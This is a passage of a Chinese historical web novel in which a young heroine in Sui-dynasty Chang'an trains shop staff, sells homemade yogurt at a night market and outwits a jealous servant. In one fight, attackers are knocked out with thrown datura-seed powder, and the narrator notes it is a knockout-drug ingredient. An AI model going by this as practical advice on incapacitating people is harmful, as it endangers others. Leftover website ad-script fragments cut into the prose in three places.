待莫母带着医女药童们退下后,庞大娘带进来八人,只从府中选了三个。 其一是高老夫人处的二等丫鬟春桃,专负责替老夫人到各院中传话的。 不过是跑腿的差事,她却处处周到妥帖,与各院都处的极好。 还有高大人院的一等丫鬟紫烟,没那些歪心思,眼瞧着也到了该出嫁的年纪,遂一咬牙求了大人。 高大人这么多丫鬟婆娘,自不缺她,遂准了。 庞大娘知她能力,亦欣喜收下。 最让庞大娘惊讶的,是赵妈妈家的晴姐儿。 本就跟着赵妈妈,负责府中与其他府迎来送往的。 这般好的差事,也舍得换到这不知前景几何的小铺,当个铺娘,赵妈妈还任她去了。 晴姐当了两三年的礼宾,人脉手腕都有,庞大娘直呼莫婤捡到了宝。 另外五个都是庞妈妈费劲心思买来的,因着年纪都不小了,怕生异心,都签了死契。 互相认识,待她们退下后,门外穿来吴娘子的请示。 高夫人走到门前,见吴娘子已带着她的人,在院中摆开了架势。 吴娘子的巡逻队,除了她,亦有六人,知大家不懂,她直接让六个姑娘互打,让院中众人都看了个新鲜。 高夫人也透过门,看了个优劣,各个都英姿飒爽,看得她很是痛快。 瞧着站了一院子的人,她大手一挥,给了处小宅,让赵妈妈领着众人入住小宅,当众人的培训地。 莫婤亦跟着去看场地,毕竟她可是铺子的小东家,美其名曰监工,实则凑热闹。 宅子在平康坊的翠帷廊,离高府不过两条街,却偏离闹市。 说是小宅,却有两进,十来间房,还带了个小院,院中甚至打了口井。 绣娘们随身挎着量具、针线、剪刀等物,还搬了几箱花纹模版。 莲纹、瑞兽、双钱、宝相……多的是莫婤没见过的样式。 她们还喊人抬了几把绣架,金丝镶嵌、彩漆描画,檀木横杆两端是铜制云头。 一进院,瞧见院中的大瓦缸和水井,甚至泡起了蓝靛膏,倒了米酒、白酒,准备做染缸。 医女药童们,或搬药锅,或提药筛,一些捧着药杵和研钵,一些背着药篓和药箱。 看见院中坝子宽敞,铺开粗布,欲晒草药。 因院子久无人住,此时搬家架势这般大,左邻右舍都出来瞧热闹。 见都是女子,还议论开来。 “这是欲做什么营生?” 一杏面桃腮、双瞳剪水的小娘子问道。 “崔姐儿,你不懂,定是做风月生意的!” 脸上有颗大痣的男人,见都是女子,竟异想起来。 “我呸,郭色鬼,日日想些上不得台面的,人家瞧着就是做正经生意的。” 崔姐儿唾了他一口,骂道。 “各个搔首弄姿的狐媚样,是像做皮肉生意的。” 听罢他们的话,一头发花白的婆子,对着绣娘们指指点点道。 见有人附和,郭大洋洋得意地对崔姐挤眉弄眼。 崔姐儿翻个白眼不理他和夏婆子,抱胸继续瞧着。 郭大见崔姐儿不应他,拐了下身旁的蔡哥儿道: “你去问问,她们是个什么价。” “你们瞎啊,没见人家抬着绣架啊?” 一旁盘着头的陆嫂子听不下去了,插着腰讽道。 “对啊,而且你不怕你媳妇揍你啊。” 崔姐儿听罢觉得有理,忙帮腔到。 “噗嗤——” 郭大家的扬起下巴,得意忘形道 “切,我怕她——啊——” 话音未落,他媳妇杨姐儿,不知从何处钻了出来,揪住他耳朵将他扯回了家。 未走的蔡哥儿还直勾勾看着,竟真走上前去询价。 众女子忙着搬家,他莫名其妙的话,都无人懂,自是没理他。 他见黄二娃引着徐大、梁二来了,忙迎上去,耳语几番后,几人气势汹汹地向院门走来。 “你们站住,先给爷几个香香。” 光天化日之下,黄二娃口出狂言。 众女子听罢,这才反应过来,皆冷了脸。 绣娘摸着绣盒,医女拿出针筒,铺娘们或拿扫帚、或取银簪…… 见她们端着一幅冷淡样,徐大摸了个钱袋,甩在地上。 一面欲上手摸,站得离他最近的毕医女,一面嚷道: “装什么,怕老爷我付不起钱?” 见徐大动手了,蔡哥儿、梁二都围了上来,圈住了毕医女。 最丧良心的是黄二娃,竟朝站在毕医女身后的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 莫婤,扑了上来。 毕医女取了手帕,捂住口鼻,抓了把曼陀罗子粉,朝三人撒去。 曼陀罗子,含有莨菪碱,其麻醉效果甚至是蒙汗药的原料④。 三人以为是类似花椒粉的东西,头一偏,脸躲了过去。 转回头,欲继续动手,人却有些晕乎乎,瞬时竟都站不稳了。 毕医女见此,唤上周围的女子,将三人围攻。 有针的扎针,有棍的敲人,徒手的捶脸,将原本麻醉中的三人活活疼醒。 他们醒来却四肢无力,只能清醒着被动挨打,更疼了十倍。 莫婤则像耍猴一般逗着黄二娃,一会飞燕剪水,一会横扫千军,时而灵蛇出洞,时而虚晃一枪,用他检验这段时日同吴娘子学习的成果。 当吴娘子端着织机下马车时,战局已经结束。 只留鼻青脸肿的贼人,倒了一地;窃窃私语的八婆,围了一圈。 她同其他武娘,将贼人拖出巷子,扔到了大街上,又遣散了看戏的,进院子,锁上大门。 院内众人并未因此惶惶不安,都手眼不停地忙着各自的活。 樊掌管和叶掌柜甚至已经麻利地收拾好住处,带着八个铺娘培训起来。 如何迎来送往,如何端茶倒水,如何推荐合意产品…… 见大家干劲十足,莫婤自是满意,但同时也胆战心惊。 高夫人如此重视,投入这么多人力、物力、财力;众人如此上心,争分夺秒培训。 若赚不回本,她可无颜面对江东父老啊! 思及此,莫婤更焦虑了两分,连下午去书肆上课都皱着个小脸。 若非彼时她仍如往昔般,勤勉向学,心系技艺,王娘子都怀疑是不是她授课有问题,让小太阳般的弟子不过一旬就没了兴致,厌了上学。 方练完一张大字,王娘子正批改着,莫婤又在一旁长吁短叹。 无忌细察莫婤额际,并未觉其异状,遂问:“婤婤究竟为何无精打采?” “发愁啊!” 莫婤于高府敛愁颜,至外得旁人关切,就憋不住了: “我献计一策,主家已着手大办,倘若盈亏不敷,我何颜以对?天哪,为何夫人这般信我,我都不信我自己了!” 听着抱怨,还有些炫耀的成分,王娘子翻了她一剂白眼道: “什么铺子?到时我去给你捧场。” “谢恩师厚爱,但你捧不上,除非你怀上了。” 莫婤一点也没被安慰到,继续焦虑。 “未育者即无法享用?速速告知究竟何物!” 王娘子闻言益增好奇。 莫婤推走长孙无忌,说是女子私事,让他先自己顽,再同王娘子细细描绘起来。 谈及产后束腰,王娘子颇感无关己事;然提及胸托,则激起浓厚兴趣: “果真如你所述之效?未孕女子为何不能用?你是不知大胸丰腴之苦!” 在现代,胸只发育到B的莫婤,自是没法理解大胸妹子们的苦恼,此时竟需王娘子点醒。 对啊,平常女子也可穿啊,内衣在现代不就是女孩子必备,她何时也被古代这背景局限了! 隋世风气开放,此物形似抹胸,更为惬意贴身,众女应无反感之心。 思绪纷飞,莫婤一边反省,一边筹谋扩展之路,终是安心了些。 “先制备一套,献给你师父我,倘得称心,我不仅帮你捧场,还广而告之,带人购求。” 王娘子心中暗自思量,若此物真如莫婤所言那般神奇,不仅自己可得其用,更能助弟子一臂之力,解其燃眉之急。 莫婤听罢,眼中惊喜乍现,连连点头。 22.古代版酸奶捞 黄昏时,仍是长孙无忌送莫婤回平康坊。 霞光尚未褪尽,市井小铺前,除了各式各样招客的幌子,竟还纷纷点起了灯。 江头鱼肆的铺门上,挂着鱼形花灯,映着江,若水中锦鲤,色彩鲜艳,活灵活现。 梓树下的伞行,是油纸伞改成的纸伞灯,光透过伞面,混着叶影,洒下斑驳陆离的光影。 街东兔铺前扎着兔子灯,被孩童们团团围住,一面逗兔子,一面瞧花灯。 连莫婤都多看了两眼,长孙无忌遂挤进去,给她买了一盏兔子灯。 兔子灯,是玉兔奔月样式,眼睛还是红豆镶成的,带着些古怪的可爱。 莫婤掰着指头数了数,才惊觉,元宵佳节将至,难怪家家户户都挂起了花灯。 花灯吸引来的人流,却给吃食铺子做了嫁衣。 一处冒着热烟的吃食小摊,最是红火,里三层外三层围满了人。 莫婤好奇挤进去,原是卖糖油果子的。 市井间立了口大铁锅,油滚金波涌,面丸投入,瞬息膨胀,圆润饱满。 裹以赤砂糖,洒以芝麻香,就成了个糖油果子。 铜钱十五枚,可得双个,甜香四溢。 “小娘子,来两个?” 锅边收钱的婆子,腰上系着饕餮纹腰帬,手臂裹着襕袖,见莫婤穿得体面,忙招呼道。 糖、油在隋朝都不是便宜玩意,做成的糖油果子,自高出一般馒头糕点些许。 这摊铺实际是看的人多,买的人少。 长孙无忌见莫婤好奇,欲掏钱袋,莫婤当即拽着他走了。 她不爱太甜的,长孙无忌亦不爱,买来最多尝个鲜,她在现代也吃过,没甚兴致。 步履不停,美食的诱惑连绵不绝。 一头包粗布的老翁,翻着胡饼,金黄酥脆。 旁边,新片的鱼脍,即生鱼片,薄如蝉翼,令人口齿生津。 挑担而过的商贩,扁担两端是杏子酒与青梅子酒,酒香一路飘,差点将莫婤熏醉。 稳住心神,她只挑了些果脯蜜饯。 梅子、杏干、桃脯、李子装了一竹篓,最贵的要数那一小蛊樱桃蜜饯,竟花了莫婤五十个铜板。 见她频频望向酪浆铺子,长孙无忌又拉着她要了碗羊酪浆。 隋朝时的酪浆,类似于现代的酸奶,只是发酵程度高于现代,味道更醇厚,酸度更强烈,亦更浓稠。 莫婤一面吃,一面对比,一时想入了迷。 长孙无忌见她很是喜爱,嘱店家装了一陶罐,让她带回去。 踏入门槛,莫母正沙沙扫着院子。 莫婤招呼了莫母,将装了羊酪浆的陶罐,放上火炉子温了温。 见莫母进屋,遂盛了碗,混入果脯蜜饯,拌好。 莫母烤热晚间剩的馓子,将整碗果蜜羊酪浆吃了个尽,连夸莫婤有巧思。 见莫母这原住民都对这风味颇为青睐,莫婤心中暗喜。 欲明日找高夫人试过,亦满意后,在夜市中售卖,赚些许铜钿。 毕竟来年春日,她还想给自己的小院置办些花种、香料,搭个小棚,买两把藤编躺椅。 这桩桩件件,都不便宜。 尚不知新铺子何时盈利,何时分利,她手中的余钱买那些玩意,自是不够的。 翌日,抱着盛羊酪浆的陶罐,穿过一架金漆点缀的落地罩,莫婤见到了拨算盘的高夫人。 将羊酪浆罐子放到金丝漆木桌上,同高夫人请安后,缓步上前。 仗着口算功底,几下帮高夫人厘清账目后,拉着她坐到了雕花云纹紫檀胡床上。 让莲姐姐找茶室的画眉姐儿拿了些果脯、蜜饯和坚果,拌入羊酪浆,舀进了巴掌大的青瓷碗中,递给了高夫人。 高夫人见莫婤又想出来了新鲜玩意,欣然接受,还颇有些迫不及待地试了一口。 顺滑浓郁的酪浆,带着发酵后的酸,却又被蜜饯果脯的甜冲淡。 嚼时有水果的清爽脆嫩,又裹着酸酪浆的丝滑。 高夫人吃了一碗,意犹未尽,又加了小半碗,方做罢。 见莫婤瓦罐里还剩了些,还让杏雏装了一盅,给高老夫人送了去。 高老夫人惯爱吃些乳酪、酪浆,高夫人猜她定是爱的。 莫婤看高夫人这般喜欢,心中一定,又同她聊起正事。 此事,还是莫婤昨日在老师处得到的灵感。 既然王娘子都能帮忙宣传,甚至带些人来,在贵妇中颇有人脉的高夫人定然也可以,只是要如何说服高夫人呢? 莫婤头脑飞速转动,试探地问: “夫人出月子后,办宴吗?” “自是要的。” 高夫人抿了抿酸甜的唇舌,还在回味。 “其他夫人见您恢复得这般好,可不羡慕死!” 莫婤望了望高夫人得意的神情,继续说道: “您不仅身材未走样,人也更挺拔了,连肚儿上的孕痕都无。” “那可不,多亏了你啊!” 高夫人感叹道,忽而回过味来,一眼识破莫婤的心思, “好呀,你个小滑头,是要拿我作筏子,宣传店啊。” 尽管如此,高夫人心中其实并无芥蒂,反而觉得她心思灵活,颇有商业头脑,愈发满意同她合伙。 “我可不敢,您这不是产后恢复完美的典范吗,自要炫耀出去,让旁人羡慕!” 莫婤一面嘴甜地说,一面起身给高夫人小意捶肩, “况且这是您铺子,我不过为您分忧罢了。” 见莫婤这般夸她,高夫人自是受用,况且她本就重视产后用品铺子,莫婤能想到这般好的宣传办法,她是定会支持的,随即与莫婤细细谋划起来。 正聊到尾声,去老夫人院中的杏雏,带回来一红绿龟背如意匣。 尝过酸奶捞,高老夫人果然爱极了,当即就赏了莫婤个小玩意,让杏雏带回来。 这玩意是一个手玩玉,又称掌中玉,约莫荔枝般大。 透亮的芙蓉粉玉,雕刻成锦鲤的样式。 锦鲤额间还有一点红,是芝麻大小的朱砂红玉。 亲自去高老夫人院中谢过后,莫婤去了晚娘处学女红。 因着王娘子开口了,莫婤自是先为她绣起胸托来。 从前些时日夫人赐的绸缎中,选了挼蓝雨丝锦,按王娘子给的胸围,裁了尺寸,缝上交叉系带。 在胸托中轴画了“鹤鹿同春”的花样,开始做绣活。 晚娘见她还算细密的针脚,甚是满意,竟还动了几分收徒的念头。 但见莫婤一脸苦不堪言的厌倦模样,还是未言此事,转而说起昨日训练地的后续。 昨日,众女子将那几个地痞流氓打了,丢了出去,本以为理亏之人,自不会再生波澜。 哪成想,黄昏后竟迎来一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 批婆娘,拿着锄头犁耙、扁担杵臼,欲砸门。 幸而被巡逻的吴娘子等人发现,绑了她们。 晚娘等人百般询问不得,只得威胁欲以“私闯民宅”之罪送官①。 那些个嘴硬的婆娘,这才松了口,道出原由。 原是那几个软蛋男,口中无半句真话,回家后竟对娘子扯谎。 说晚娘等人是做不正当营生的,还勾引他们,他们抵死不从,就将他们打成了这般。 家中婆娘们听罢,自是气不过,怕晚娘等人带坏此片风气,亦怕孩童们跟着学坏,遂上门预备砸了她们的生意。 “呸,躲在婆娘后面的窝囊玩意。” 莫婤听罢,很是气愤。 连一向情绪稳定的晚娘说罢,亦有几分愤懑道: “自己不敢来,支使自己娘子犯险,算什么男人。” “后来如何?” 莫婤急着追问后续。 “有不信的,但见势不妙也只能忍了。” 晚娘摇摇头,恨铁不成钢,随即又高兴道, “亦有信的,还说待我们开业,要去捧场!” 莫婤听罢亦高兴了两分,又多了些“预约号”,也算是因祸得福了。 一面聊着,一面也未耽误手上的活计。 一个时辰过去后,莫婤也将胸托做了个雏形,只待明日装上内衬,再锁边,便大功告成了。 中午同莫母吃饭时,莫婤亦同她分享了这个瓜。 莫母听罢,立即便说她下午就去培训地,一是培训药童,二也是想吃到细节瓜。 听闻莫母要去,莫婤便托莫母,将昨日绣娘们染坏的蓝布,买一块回来。 知她鬼主意最多,莫母没问原由,就应下了。 用完午膳,莫婤便开始忙活她的赚钱大计。 揣了角门钥匙,背上个葫芦竹篮,莫婤先去了东巷买了些折叠式竹篮。 隋朝时,竹篮就有折叠式的,其关键在于特殊的铰接结构。 篮子的侧面由一系列可弯曲的竹片组成,通过精心编制,确保各个部分能沿着特定方向折合②。 捆好篮子,她又去巷子口郑胖子家的羊奶铺,买了一大桶新鲜的羊奶。 她拖不走,还是郑胖子喊了他家的阳哥儿,送进了莫婤家院子。 在土灶上热烫大铁锅,莫婤将羊奶一勺勺舀进锅内,烧大火煮。 待煮沸后,撤了火,盖上栈盆,就是木盖子,放凉。 傍晚下学后,莫婤扯了长孙无忌去了东市。 东市鱼龙混杂,莫婤独自是不敢来的。 幸而长孙无忌抱着佩剑,冷着脸,一看就不是好惹的主。 她才顺利在东市批发到了果脯、蜜饯和一些坚果,又在胡商处买了酥酪,方辞别长孙无忌,回了高府。 掀开栈盆,放入酥酪,做酸奶引子。 搅匀后,将铁锅中的羊奶都舀进陶罐中,足足装了三个及莫婤大腿的陶罐。 将陶罐口用棉布扎紧,放在炭未燃烬的土灶旁,发酵。 翌日,到东跨院捡了一背篓的棕榈叶,洗净后,又找赵妈妈借了辆小型的“木牛流马”③。 日暮西垂,掀开瓦盖一角,莫婤尝了尝,羊奶已发酵成酸奶。 向莫母详细讲了她的计划后,将陶罐及其他用物搬上了木牛流马。 央了莫母陪她,母女俩去了夜市卖古代版“酸奶捞”。 23.木牛流马摊 长安城,坊市内的夜市。 街头巷尾,灯火通明,其间簇簇花灯点缀,如繁星落地。 在巷口找了块空地,将木牛流马推平,轮边抵上石块,停稳。 莫婤从木牛腹中取出匹靛蓝素布,是前日试染缸时,染坏的。 素布抖散,染得不均面朝下,挥出,铺到木牛背上。 随后,她又展开一个个精巧的折叠式竹篮,宛若绽放的木莲,在木莲内垫上洗净的棕榈叶。 棕榈叶上堆了各类小料,如雀麦、蜜渍果、核果、红豆、肉桂……每一篮都尖溜溜的,摆满了牛背。 见夜市中,人逐渐多了起来,莫婤敲起锣鼓,叫卖道: “停一停,瞧一瞧,新鲜的酸奶捞!” 夜市中,大家从未听过这玩意,木牛流马旁渐渐围满了人。 莫婤掀开陶罐盖,里面是乳白的酪浆。 随着莫婤一勺勺舀入竹碗中,这拉丝的酪浆,馋的人流口水。 隋朝时,长安城内的百姓本是爱吃酪浆、奶酪等奶制品。 但因莫婤方才吊起了他们的好奇,此一见,竟仍是常见之物,只是换了个名字,都有些意兴阑珊,欲离开。 莫婤见状,拿出斗碗,一面拌酸奶捞,一面吆喝: “免费试吃,不好吃,不要钱。” 有便宜不占是傻子,这下子大家都驻足观望。 依着长安城百姓的口味,莫婤做了雀麦蜂蜜口、蜜渍果口、肉桂香料口、核果红豆口、红枣葡萄干口…… 每种口味都拌上,用洗净裁成小扇子状的棕榈叶做盘,一扇瓦上一勺,分给最里层的众人,尝鲜。 见最前头的人,吃完连叶面都舔净了,后面的人忍不住急了。 “让让,尝了不买就边去!” “换我们试试,快让让!” “吃了就换,别占着位置。” 本还在细细回味的内圈人,听罢,囊中羞涩的,红着脸、低头偷偷走了;手中有余钱的,都问起价来。 莫婤忙展开早已备妥的墨宝,将其悬挂于木牛额首的同时,朗声道: “不加料二十文,不单卖。加雀麦二十一文,加红豆二十二文,余下每多加一勺小料,多加五文。” 酪浆在隋朝尤受皇室贵族、官员及富裕阶层的喜爱。在《隋书·礼仪志》中提到,皇家宴饮场合上,酪浆是必不可少的饮品之一①。 也因此,酪浆并不便宜,在街边铺子,一碗最少也要三四十文。 但莫婤自己买了羊奶发酵,算了有赚头,才敢这般定价。 众人见吃法新鲜,价格公道,纷纷蠢蠢欲动。 这边,莫母还在往外圈发“试吃品”;那边莫婤已开张了。 一青衣书生,要了雀麦蜂蜜口酸奶捞;一半妆美人,点了蜜渍果红豆酸奶捞。 牵着孩童的大娘们,多要核果蜂蜜的;挽着婆母的媳妇们,都挑肉桂红枣的…… 见此摊位颇为红火,亦有那抬轿坐车的、坐酒楼吃席的贵人们,遣了奴仆来买的。 最让莫婤笑得合不拢嘴的,是一包着云纹幞头,脚蹬鸟皮靴,腆着大肚的管事,买了全部都加的全家福,付了近百文。 而右骁卫将军府,长孙无忌瞧着四岁妹妹面前,比她脸还大的酸奶捞,不得不板脸相助。 原以为酸得掉牙,没成想竟酸甜可口,醇厚丝滑。 再抬首,便见妹妹嘟起嘴,控诉他速食太过,都抢没了。 一向淡然的长孙无忌,终有破功的迹象,忙哄了她,答应隔日定赔她同样的两碗。 莫氏母女卖到快收摊时,只剩一斗碗酸奶,并一层薄薄的雀麦。 被一应酬后,吃了酒的官人,都包圆了。 官人原只为醒酒,未曾想荒年才吃的雀麦,混着酪浆,竟这般美味。 三两口就吃干舔净,还问莫家母女何时再来卖。 莫婤算了算日头,定在了三日后。 见有了回头客,莫母还送了他一碗醒酒汤,去酒气。 回屋,母女俩点了点,刨去成本,竟赚了半吊钱。 莫婤揣着铜钿,喜滋滋地睡了,梦中都是春暖花开、舒适惬意的小院。 翌日一早,莫婤正在院中洁牙。 二楼的马大娘,推开窗牖问:“昨个夜里,你们母女做何去了,这般晚才回?” “看花灯,元宵要到了,该挑灯了。” 莫婤吐了盐水,还瞧了眼院中挂着的,长孙无忌送的兔子灯,方回道。 “哼。” 马婆子怪笑一声,嘭地阖上牖,心中恨恨:还看花灯,她分明见这兔子灯都挂了两三日了。 也不在意,为何马大娘一早便这么大的火气,莫婤正潜心构思如何为产后用品铺子增添新品。 前几日,与高夫人深谈宣传策略时,坐于高夫人近侧,不经意瞥见她眼下、鼻翼旁的淡斑,经忆梅证实,确为孕期所留。 孕期,体内雌孕激素上升,催生黑色素沉淀,斑痕悄无声息②。 虽分娩之后,激素渐复平静,然斑痕却如旧时月色,难即消褪,甚或长驻。 思绪至此,莫婤心生一计,欲创制产后佳品,非为彻底祛除,仅盼稍许淡之,亦足矣。 脑中闪过桃花面膜、菊花汁涂斑、桑叶浆敷颜…… 奈何冬寒料峭,众物皆无,有些犯难。 正俯首翻着莫兄留下的医书,赵妈妈忽匆匆找来,给莫婤通风报信。 早起就给莫婤甩脸色的马婆子,竟告到了夫人处。 “那莫家母女竟在夜市卖酪浆。” 马婆子,弓身低头,立于高夫人前,言之凿凿。 原是昨夜,马婆子于莫家院楼上,见莫氏母女携大陶罐外出,心生疑惑,遂尾随其后。 至夜市,见二人驱木牛流马,售酸奶捞,顾客纷至沓来,生意兴隆。 今晨,莫婤还不肯分享,马婆子心生嫉妒,故急躁前来,向高夫人嚼舌。 “她们不当值时,夜市启,售卖无妨。” 高夫人闻罢,翻书之手微顿,旋即淡然回应。 “她们定是用了府中的食材!” 马婆子愤愤地说。 “你别随口污蔑人,我日日去大厨房,还管着夫人小厨房,两处可没少东西。” 杏雏睨之,反驳道。 “她们还用了府中的木牛流马。” 马婆子疑杏雏收赂,不敢直言,转而另提证据。 “那是她们朝我租赁的,给了五十文呢,我都记了账的。” 赵妈妈见马婆子不死心,苦口婆心道。 赵妈妈居府多年,公正无私,马婆子不敢冒犯,遂改口: “彼等夜市售卖,损我府颜面。” “府中亦置办有赚钱的营生。” 秋塘沉稳接话。 高夫人终抬首,目光落于面红脖子粗的马婆子。 “那怎么一样,街边小贩,上不得台面。” 马婆子见高夫人抬眼,愈发来劲, “若他府知悉,必疑我府贫寒,养不起食客,失笑于人。此举实打夫人之脸。” 门旁的赵妈妈,见夫人脸色渐渐不好了,便扯了出恭的幌子,溜出来给莫婤报信。 莫婤聆毕,嘱赵妈妈先行返回,遂将手中卷帙夹了书耳,方起身。 着莫母新裁缥碧交织上襦,外披丁香软烟罗半臂,身裹齐胸媚蝶妆花缎长裙。 颈悬瑞兽银项圈,一手圈辟邪珠红绳,一手绕金丝绞镯,双髻缀以金莲绢花与南珠短钗。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 换好战袍,莫婤端出在晚娘处学到的范,进了夫人院子。 高夫人坐于上首,室内异常寂静,马婆子喋喋不休的告状声尤显刺耳。 莫婤听了一耳朵,一半指责她们母女中饱私囊,行街边叫卖之俗事。 另一半,则是对她们母女言行嚣张,不敬府中老人的控诉。 甚至隐约夹杂着对高夫人偏爱她们的不满。 瞧莫盛装而至,高夫人面色不禁缓和几分。 见状,莫婤轻移莲步,至高夫人前,旋身一周,娇声道: “夫人观我此装扮可入眼否?” 全程未侧目一顾旁立的马婆子。 高夫人自识,皆为其所赐,心绪愈宽慰,言: “婤婤这般美人胚子,就该好生打扮。” “好阿姆,此装束颇耗辰光,我想多花点时辰翻医书。” 莫婤依于高夫人侧,挽其手撒娇道。 眼眸一转,灵黠地对高夫人眨眨,附其耳道: “我又有产后淡斑妙策了。” 高夫人闻言,兴趣更浓,唤郑妈妈撵了马婆子出去,挽着莫婤细语。 说罢祛斑秘方,莫婤主动问:“好阿姆,可曾真恼我?” “确有少许。” 高夫人见莫婤直面此事,正容道。 “阿姆恼我未禀告?” 莫婤疑惑追询, “我知阿姆定不吝我谋财,羞我掉价。” 见莫婤一副“您定懂我”状,高夫人轻点其眉心: “缺银子花了?何不告诉我,我先预支你一季的利。” “铺子还没开张呢,哪有先同您支利的道理。” 莫婤捂住眉心,皱着小脸不赞同, “然我确有不当,本当先告于阿姆。” 府中食客,多有副业,晚娘常揽绣活,前些日子吴娘子亦走镖一趟,其实皆未告知她。 打她脸更是无稽之谈,各府中做生意的丫鬟婆子不知何几,还能笑话到她食客身上? 高夫人最爱莫婤灵思,闻其新法摆摊获利,原本非但不愠,反添好奇。 但她视莫婤为小辈,自是不同于其他食客,从他人口中得知她缺钱,还瞒己,心终不甘畅。 见莫婤这般说,深感其贴心可人,又想到自己也算是亲尝第一人,心下满意。 且莫婤赚钱之余,还不忘想祛斑之法,更显其衷心。 复思,莫婤无豪门根基,恐遭人辱,今能自敛银两,乃最佳。 遂唤赵妈妈,明示,若莫婤需索,力所能及则给,否则报己,亲为主持。 待莫婤谢恩告辞后,高夫人又吩咐赵妈妈,日后严加管教府中下人,若再有红眼乱攀咬的,如马婆子之流,一旦逮住,立刻赶出府。 赵妈妈闻此,知莫婤再度于夫人心中刷了一波存在感,在府中的隐形地位又提了提。 出了夫人院子,见马婆子还守着院门外,莫婤理也不理,径直向前。 马婆子一个健步,拦住她,骂道: “你个小鬼,不知给夫人灌了什么迷魂汤,这般袒护你。” 莫婤退后一步,躲开她喷溅的口水,淡淡道: “夫人就是喜欢我,你忍着吧。” “你——看你能嚣张到何时!” 马婆子手指着莫婤鼻尖,气得口吃。 莫婤一把攥住眼前的指尖,用力后扳,讽道: “嚣张到你入土,冥府亦可观。” “啊——啊——” 马婆子又气又痛,使劲甩莫婤的手,也甩不掉。 见她手指快折了,莫婤松了手,推开痛得直不起腰,而挡路的马婆子,回了院子。 夫人就要出月子了,该忙起来了,她可没闲工夫,跟她掰扯。 24.砂锅米线 从晚娘处下学后,回屋,莫母还未归。 今晨,天方蒙蒙亮,莫母又被唤出府,帮忙接生。 自高大人主事夫人难产,莫母一展身手后,她擅接生的名号,似在达官显贵中悄然流传。 方隔了几日,便有人上门求助。 听高夫人说,还是一七品官员亲自来求的。 不仅许了莫母丰厚的红封,还给高府都走了一份大礼。 看这日头,这般懂礼的人家,自会包圆莫母的午膳。 今个中午,莫婤只能自行解决了。 思及此,她又拐去大厨房,欲要些食材。 进了厨院,见一额上鬓发剃齐的“开额”妇人①,正骂着一细娘,细娘身旁是一桶米浆。 她瞧着比莫婤还小,罩了件及膝的灰袄。 随着她俯身嗅米浆,显露出袄下的褐色开裆裤。 隋朝时,受胡服的影响,开始流行裤子,开裆裤亦在幼童中盛行,只高府少见有给女童穿开裆裤的。 这婆子没瞧见莫婤,对着细娘越骂越凶。 见此处有瓜,她不自觉放慢了脚步,侧耳探听始末。 这妇人是做米粉的冯婆子,简直是懒得出水的鱼,日上三竿才起身上值。 将做米浆的活计,都丢给了她带的细娘,燕姐儿。 燕姐儿人小,提不动米浆桶,只能原地守着。 这米浆桶挨着灶火,一直高温,待冯婆子上工时,都发酸了。 见冯婆子一手狠掐燕姐儿,不停咒骂,一手欲倒米浆,莫婤上前道: “冯大娘,为何倒了?” 莫婤问的同时,装作无意地按了冯婆子手肘的麻筋,让她松了掐燕姐的手。 “嘶,莫小娘子来啦。” 冯婆子忍着酸痛,赔笑道, “这妮儿害米浆酸了,我正说她呢,莫小娘子可不要同夫人告状,且饶她一次吧。” “不告你也行,一会你同我一道回下人院,把这桶米浆送到我屋,我浇土。” 莫婤找了个借口,支使冯婆子。 “莫小娘子说甚,什么告我。”冯婆子笑着打哈哈。 见莫婤眉眼不动地盯着她,知糊弄不过去,只好不情不愿地应下。 趁冯婆子弯腰挪米浆时,莫婤飞快塞给燕姐儿几个铜板。 见她还算机灵地藏进怀中,孺子可教地点点头,方进了大厨房。 虽然莫母出门接生,但大厨房的钟管事,仍按一人半的份例给了莫婤。 莫婤要了一斗碗羊蝎子汤,一巴掌大的豆腐,一两猪脷肉,并一筐杂菌。 在杂菌篓里随意翻了翻,她竟看到了松茸。 心满意足地提着食盒,押着抱桶的冯婆子,回了后罩楼。 使唤冯婆子将酸浆桶放进了小院,见她累得气喘吁吁,冬日间都满头大汗,方作罢让她家去了。 这般冷的天,哪儿还需要浇土,莫婤是见着酸米浆,便想吃米线了。 隋朝是没有米线的,莫婤欲用这现成的酸米浆自己做。 因她也拎不动米浆桶,便只瓦了一大勺酸米浆沥干成浆团。 洒水揉了一刻钟后,找来纱布,剪了些小孔,包了米浆团,挤米线入沸水锅。 煮好后,过凉水,就得了一碗米线。 将火炉子搬到院中,她点了小火,放上砂锅预热后,烫了羊蝎子汤,做锅底。 翻出橱柜里的干木耳发泡,择了菘菜,洗了杂菌,切了豆腐和猪脷肉,一道下砂锅炖。 煮菜的同时,还用茱萸、胡椒粉、丁香等佐料,调了蘸料碗。 待菜快熟时,倒了米线继续煮,至都熟透后,扯了火。 她也不多费事了,端上蘸水碗,搬了木几,直接围着火炉子吃。 米线柔韧顺滑,混着豆腐鲜嫩,杂菌清香,还有那肉味松茸,鲜得她差点吞掉了舌头。 一面吃得大汗淋漓、手眼不歇,一面还在遗憾没有辣椒粉。 听着楼上关得哐哐作响的窗,猜又气到那人了,莫婤吃得更香了。 打了个小盹后,将院中晾干的胸托,装进绣袋中,出门上学。 方进书肆,莫婤就将胸托塞进了王娘子怀中,一面让她去试,一面拉了长孙无忌练字。 长孙无忌瞧她们神神秘秘的,虽好奇,但也不是多嘴的主,只旁敲侧击地问莫婤,有没有给阿兄准备礼物。 莫婤才做完一个绣活,是千万个不想动了,扑闪着眼睛瞧他,装听不懂。 “小没良心的。” 长孙无忌轻声嘟囔了句,又搓了把她装傻的包子脸,继续带她练字。 见王娘子进屋后久不出来,莫婤终是耐不住,丢了笔,也跑了进去。 一衣衫半褪,肤若凝脂、玉肌丰腴的美人,斜腿半倚于胡床上,双手后背,艰难地研究着绑带。 莫婤见状,一拍脑门,暗怪自己竟忘了告知系法,忙上去帮忙。 系好交叉结,还调整了胸位后,王娘子起身转了两圈。 见胸部不再摇摇晃晃、动荡不堪,又疾行了两周,方满意地抱起她亲香了一口。 莫婤沉迷美女姐姐亲近的同时,暗喜这预售是稳了! 待下学,莫婤便来了培训地,现已被众人唤作“秋曜坊”。 取自“翩若惊鸿,婉若游龙,荣曜秋菊,华茂春松”②。 众人希望在她们的努力下,产后女子能如秋菊般,即使在秋风中,亦能光彩夺目,现成熟之美。 刚进巷口,便望见一头发花白的婆子,在院门前探头探脑。 